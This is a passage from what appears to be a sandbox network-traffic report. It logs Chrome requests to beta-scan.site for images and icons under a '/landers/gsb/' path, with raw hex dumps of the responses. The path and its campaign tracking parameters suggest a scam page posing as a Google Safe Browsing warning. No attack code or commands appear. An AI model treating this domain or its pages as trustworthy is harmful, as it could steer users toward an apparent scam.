de ba c5 c7 c3 65 18 86 61 18 86 61 dc 20 2c 01 c0 30 0c c3 0c e6 dd 77 df 7d 69 ef Data Ascii: PNGIHDRIr_pHYsTIDATxy\|T?s5,e!Ja'"b*UlV{k{VZV[QAD%a$sdd}!'l}aaSQQ!>}O?rdYt:L>.\eaa ,0w}i
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: a8 ac ac cc e8 5b da 7b e5 ca 15 d5 4b 2f bd b4 a4 a9 a9 29 76 d1 a2 45 e7 0d 06 c3 39 42 c8 65 00 01 9d 9d 9d 19 35 35 35 0b ce 9e 3d 9b f0 e1 87 1f aa fa 6e 4d 36 5e cc 9c 39 f3 f5 6f 7c e3 1b d9 9b 37 6f 5e ee da 94 0d 70 34 57 fb ea ab af 70 ee dc b9 13 73 e7 ce 35 2e 5e bc f8 a9 d8 d8 d8 3d 33 67 ce 2c 75 77 ae 8b 17 2f 46 76 74 74 4c 2f 28 28 b8 ff dc b9 73 0f 17 16 16 42 96 65 c4 c4 c4 ec 49 49 49 f1 49 09 74 55 55 55 16 80 a3 83 5d 67 d3 a6 4d d3 0a 0a 0a 96 9d 3b 77 6e 75 7d 7d 7d 82 bb 59 7f a7 69 d3 a6 e1 9e 7b ee 79 68 e1 c2 85 43 2a 57 f7 96 1b 6f bc f1 a9 a6 a6 a6 19 3b 76 ec c8 10 c5 de 2f 2b 16 8b e5 ee ad 5b b7 ea f2 f2 f2 be fc e0 83 0f 5e 1c ec 3c 8f 3c f2 c8 77 4f 9f 3e 7d af 28 8a fd 9a e7 11 42 30 7b f6 6c dc 71 c7 1d f7 cd 98 31 a3 Data Ascii: [{K/)vE9Be555=nM6^9o\|7o^p4Wps5.^=3g,uw/FvttL/((sBeIIIItUUU]gM;wnu}}}Yi{yhC*Wo;v/+[^<<wO>}(B0{lq1
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: 72 53 13 60 ef 5b 61 e6 05 94 82 36 d4 41 6c a8 03 ce 9e 5a 69 ff e2 f3 95 96 7f fc 05 42 d6 dc dd 8a d9 73 5f 56 64 2f d9 ef fd 41 5c d5 2f 01 a0 54 2a 3b ba ba ba e0 6c 04 38 9a e0 29 44 19 c6 12 00 cc 98 70 ce fc af 0e 7a 04 df 0c dc 00 25 a7 19 df 33 ff 81 80 26 6a 7c 07 ff 14 80 92 a8 10 c0 85 61 34 1f d0 38 8e b3 5f fb 5a be 71 a0 ac 75 d5 e1 8a 36 af de 87 46 20 c8 9e aa 04 47 00 0a c2 66 ff 99 eb 82 ed d0 fe 35 62 ee 99 1f 49 f9 17 97 4a e5 65 80 34 8e 1e f6 36 1b 68 4b 33 68 4b 33 e4 4b e5 09 f6 2f bf 78 8b 84 86 bf 25 a4 a6 d7 08 59 73 5f e6 53 d2 de 15 92 52 d8 87 71 4f e9 fc f8 09 98 0f bf 00 eb 29 01 62 0d 80 31 4a fe 0c 85 dc e6 f8 23 5e 02 2c 5f df 0f 2e e8 7e a8 66 03 aa 79 5b a0 9e ff 02 d4 e3 7b 1d ef 44 73 b0 ac 75 65 45 8b 65 55 6d 87 Data Ascii: rS`[a6AlZiBs_Vd/A\/T*;l8)Dpz%3&j\|a48_Zqu6F Gf5bIJe46hK3hK3K/x%Ys_SRqO)b1J#^,_.~fy[{DsueEeUm
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: 63 21 1c bd f6 e4 34 aa b2 d0 c3 a3 75 b4 c5 5c 3d c2 48 52 46 24 c7 f9 5f 78 f6 7f e4 95 9f fe b7 ba 6f 2f 20 47 56 30 93 98 cc e0 6a a6 81 d6 d6 41 9e 36 03 9e 3c 07 7c aa 0a 45 55 01 39 22 bf 84 03 08 7c ae 82 20 b8 f4 de 5b 47 54 bc 8b 61 18 59 55 55 a8 aa 0a 59 96 23 76 00 00 00 85 86 1a db 74 64 f2 19 68 17 3b 12 96 06 40 41 f1 5e e3 bf 71 7a d9 59 58 52 7e 1e 54 aa 9f ac 6f 38 c2 95 00 5f 2f b9 16 2a 55 f1 64 d3 a3 71 75 02 1c 93 fd df 82 eb 9c 37 c3 c0 9a 02 2d e2 12 18 f9 6f ec da 80 27 37 df 9d 8e fc c7 00 1a fc 2a 60 4b fb db ff 45 34 4e f0 f3 51 75 2c c0 12 6b 26 d9 f8 2f 0d 2c 16 fa e2 b8 8d 95 54 8a b5 07 fb 6e f8 de c9 93 c7 57 c8 2b 4d 9a 31 a2 1d 3a 70 76 a4 3d 88 47 83 50 9a f4 05 3e 13 81 20 08 2e c9 68 72 28 8e 49 ad 86 a6 7a fd ea bf Data Ascii: c!4u\=HRF$_xo/ GV0jA6<\|EU9"\| [GTaYUUY#vtdh;@A^qzYXR~To8_/Udqu7-o'7`KE4NQu,k&/,TnW+M1:pv=GP> .hr(Iz
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: 7a 3d 69 12 c7 e0 e8 0a 28 85 54 51 85 be cb af 82 3c a9 50 d7 b9 69 5b 0b 7c 4f 3c fa aa f8 c6 2b 29 d7 62 c9 ff 97 a7 5a b5 7d 7b c6 7d 5c 78 e4 df 7d c6 39 70 9f 73 01 a8 d1 78 dc a6 24 11 ce d7 c1 f7 2f 80 c2 af 39 d1 2a df 04 9f 5a 89 e0 0e 43 9f c9 e5 5d 40 d7 af 56 c2 f7 d9 22 7d 26 d0 89 8e 9f 6e 87 ef d3 f1 1f 17 6a f7 47 79 74 2b 17 a1 43 b9 2a 50 78 31 cc f8 07 92 bb f0 5f bc b0 5b 6d fb 19 26 3e cf ce 4f f7 74 e3 ee f7 f7 ec 8b cb 64 3a d1 d0 bb 37 5f a6 91 b7 23 1d 09 4a 29 3a c5 de 6a 5d 06 1f 81 e3 52 d6 6c 76 b8 2e b8 14 52 69 62 1b 1c d1 f6 36 f8 9e 79 ea 3e cf af ee 3c a4 34 6c d7 f7 81 a9 33 ca 96 8d d5 ee bb ee e8 93 57 2c ff 53 42 76 aa c1 be a2 7d fd 0b 0a aa 00 a2 e9 08 40 10 28 84 97 c9 67 e3 2b 93 af 44 06 67 8b c9 5a 93 89 c1 35 Data Ascii: z=i(TQ<Pi[\|O<+)bZ}{}\x}9psx$/9ZC]@V"}&njGyt+CPx1_[m&>Otd:7_#J):j]Rlv.Rib6y><4l3W,SBv}@(g+DgZ5
2024-10-03 15:18:58 UTC	5484	IN	Data Raw: c0 38 56 ac 58 61 de 7c f3 cd 2f 4a 92 94 14 42 ec 19 ed 73 52 a9 14 86 86 86 90 4e a7 01 20 37 14 ce 4d f9 2b d9 b6 b0 51 eb a9 c7 87 16 3f 80 af ad f9 0b 3c b0 e4 23 68 f0 86 e7 fc 90 40 21 00 3b db e7 bf 54 69 c3 7d 81 c7 f1 91 d0 37 b0 dd fb 5e 78 98 0f b6 70 bf dc ff da b9 af 0d fb 4b 24 12 18 1a 1a 2a 0c fe f7 48 92 f4 f6 c6 c6 c6 17 29 f8 27 84 10 42 88 1b fc dc ea 6d a9 2a dd 7a dd 1b 97 62 f8 f6 6b 97 7f 5c b2 13 cc 01 3f 3b 39 70 c7 be b3 53 18 dc 9f bd 29 5f 57 a7 e0 d6 45 1e 30 06 70 4e fd ff 64 e6 49 4f 3d f5 d4 4c 5f c3 ac b0 64 c9 92 b3 97 2e 5d aa b7 2c eb df 18 63 bf 5d f8 71 cb b2 a0 eb 3a 18 63 90 65 19 9c 97 2e b7 e2 04 a2 8c 31 54 ab b5 d8 52 bd 1d ed a1 b5 90 18 47 6f fa 32 12 56 2a 37 f2 ae d4 15 01 8a 02 54 56 02 92 54 ba 73 38 2b Data Ascii: 8VXa\|/JBsRN 7M+Q?<#h@!;Ti}7^xpK$H)'Bmzbk\?;9pS)_WE0pNdIO=L_d.],c]q:ce.1TRGo2V*7TVTs8+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	55774	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	808	OUT	GET /landers/gsb/GSB/files/images/country.svg HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:58 UTC	282	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: image/svg+xml Content-Length: 895 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-37f" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	895	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 33 22 20 68 65 69 67 68 74 3d 22 32 33 22 20 66 69 6c 6c 3d 22 23 33 38 33 34 33 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 32 20 30 63 36 2e 36 32 33 20 30 20 31 32 20 35 2e 33 37 37 20 31 32 20 31 32 73 2d 35 2e 33 37 37 20 31 32 2d 31 32 20 31 32 53 30 20 31 38 2e 36 32 33 20 30 20 31 32 20 35 2e 33 37 37 20 30 20 31 32 20 30 6d 32 2e 35 35 37 20 31 36 48 39 2e 34 34 32 63 2e 35 34 36 20 32 2e 34 36 20 31 2e 34 34 31 20 34 2e 31 31 34 20 32 2e 35 35 38 20 35 2e 37 34 34 20 31 2e 31 39 34 2d 31 2e 37 34 31 20 32 2e 30 34 31 2d 33 2e 34 31 20 32 2e 35 35 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="23" height="23" fill="#383434" viewBox="0 0 24 24"><path d="M12 0c6.623 0 12 5.377 12 12s-5.377 12-12 12S0 18.623 0 12 5.377 0 12 0m2.557 16H9.442c.546 2.46 1.441 4.114 2.558 5.744 1.194-1.741 2.041-3.41 2.55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	55778	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	668	OUT	GET /landers/gsb/GSB/aHR0cHM6Ly9iZXRhLXNjYW4uc2l0ZS9jMWQ1bDJrLnBocD9rZXk9Zzgwa2Qyd25yaWUzeXRzN21hNDUmY29zdD0wLjA5MDAwJmNhbXBfaWQ9NzY2NzE2JmNvdW50cnk9VVMmcGxhdGZvcm09V2luZG93cyZ6b25lX2lkPSZzb3VyY2VfaWQ9 HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	210	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-10-03 15:18:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	55777	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	858	OUT	GET /landers/gsb/GSB/files/images/icon_1.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/png Content-Length: 1137 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-471" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	1137	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	55779	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	858	OUT	GET /landers/gsb/GSB/files/images/icon_2.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/png Content-Length: 2431 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-97f" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	2431	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	55780	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	511	OUT	GET /landers/gsb/GSB/files/images/icon_3.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/png Content-Length: 1010 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-3f2" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	1010	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1e 00 00 00 1e 08 06 00 00 00 3b 30 ae a2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR;0tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	55782	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	511	OUT	GET /landers/gsb/GSB/files/images/icon_4.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/png Content-Length: 1288 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-508" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	1288	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1e 00 00 00 1e 08 06 00 00 00 3b 30 ae a2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR;0tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	55783	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	512	OUT	GET /landers/gsb/GSB/files/images/country.svg HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	282	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/svg+xml Content-Length: 895 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-37f" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	895	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 33 22 20 68 65 69 67 68 74 3d 22 32 33 22 20 66 69 6c 6c 3d 22 23 33 38 33 34 33 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 32 20 30 63 36 2e 36 32 33 20 30 20 31 32 20 35 2e 33 37 37 20 31 32 20 31 32 73 2d 35 2e 33 37 37 20 31 32 2d 31 32 20 31 32 53 30 20 31 38 2e 36 32 33 20 30 20 31 32 20 35 2e 33 37 37 20 30 20 31 32 20 30 6d 32 2e 35 35 37 20 31 36 48 39 2e 34 34 32 63 2e 35 34 36 20 32 2e 34 36 20 31 2e 34 34 31 20 34 2e 31 31 34 20 32 2e 35 35 38 20 35 2e 37 34 34 20 31 2e 31 39 34 2d 31 2e 37 34 31 20 32 2e 30 34 31 2d 33 2e 34 31 20 32 2e 35 35 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="23" height="23" fill="#383434" viewBox="0 0 24 24"><path d="M12 0c6.623 0 12 5.377 12 12s-5.377 12-12 12S0 18.623 0 12 5.377 0 12 0m2.557 16H9.442c.546 2.46 1.441 4.114 2.558 5.744 1.194-1.741 2.041-3.41 2.55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	55784	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	523	OUT	GET /landers/gsb/GSB/files/images/Family_Image_home.webp HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	284	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/webp Content-Length: 104650 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-198ca" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	16100	IN	Data Raw: 52 49 46 46 c2 98 01 00 57 45 42 50 56 50 38 58 0a 00 00 00 00 00 00 00 7f 07 00 bb 02 00 56 50 38 20 4e 98 01 00 70 a8 06 9d 01 2a 80 07 bc 02 00 00 00 25 a5 bb ea b5 6a 34 a6 32 8e 75 f5 4a 53 1e 54 97 7f e5 78 5c 4e 01 fc 0f f8 67 e7 4f f0 9d 92 fc 1f f2 af e5 7f cc ff 45 f8 14 e9 67 90 19 55 a2 38 ca b2 9f e4 ff d8 3f 9b 7f 1d fd 84 f1 9d fe 9f f9 9f 7a 97 f5 5f 74 0f f2 bf b0 fc 40 f4 37 e6 07 3b df ef df e2 bf 80 7f 25 ff ff f0 53 f8 f7 f8 2f eb 3e a7 7e 6f 73 ff d2 a2 f0 bd 67 ef 6f 6a 7c 8f e8 be f6 bd 9c b8 ff b2 1f 98 7e 57 fc ef fd 1f cd 0f 9b 1f f9 39 9a f7 1f fd 5e 79 7d 5f ff 23 ee 2b e5 3f fd 2f fa 7f eb ff d6 7c 79 fd 75 ff 37 fd 47 ef 77 d1 3f eb cf f9 ef d8 ff d7 bf aa 3f f7 ff ca ff 9c f8 7d fb d1 ff 0f f6 67 e2 37 f9 6f f8 7f eb 3f cb Data Ascii: RIFFWEBPVP8XVP8 Np*%j42uJSTx\NgOEgU8?z_t@7;%S/>~osgoj\|~W9^y}_#+?/\|yu7Gw??}g7o?
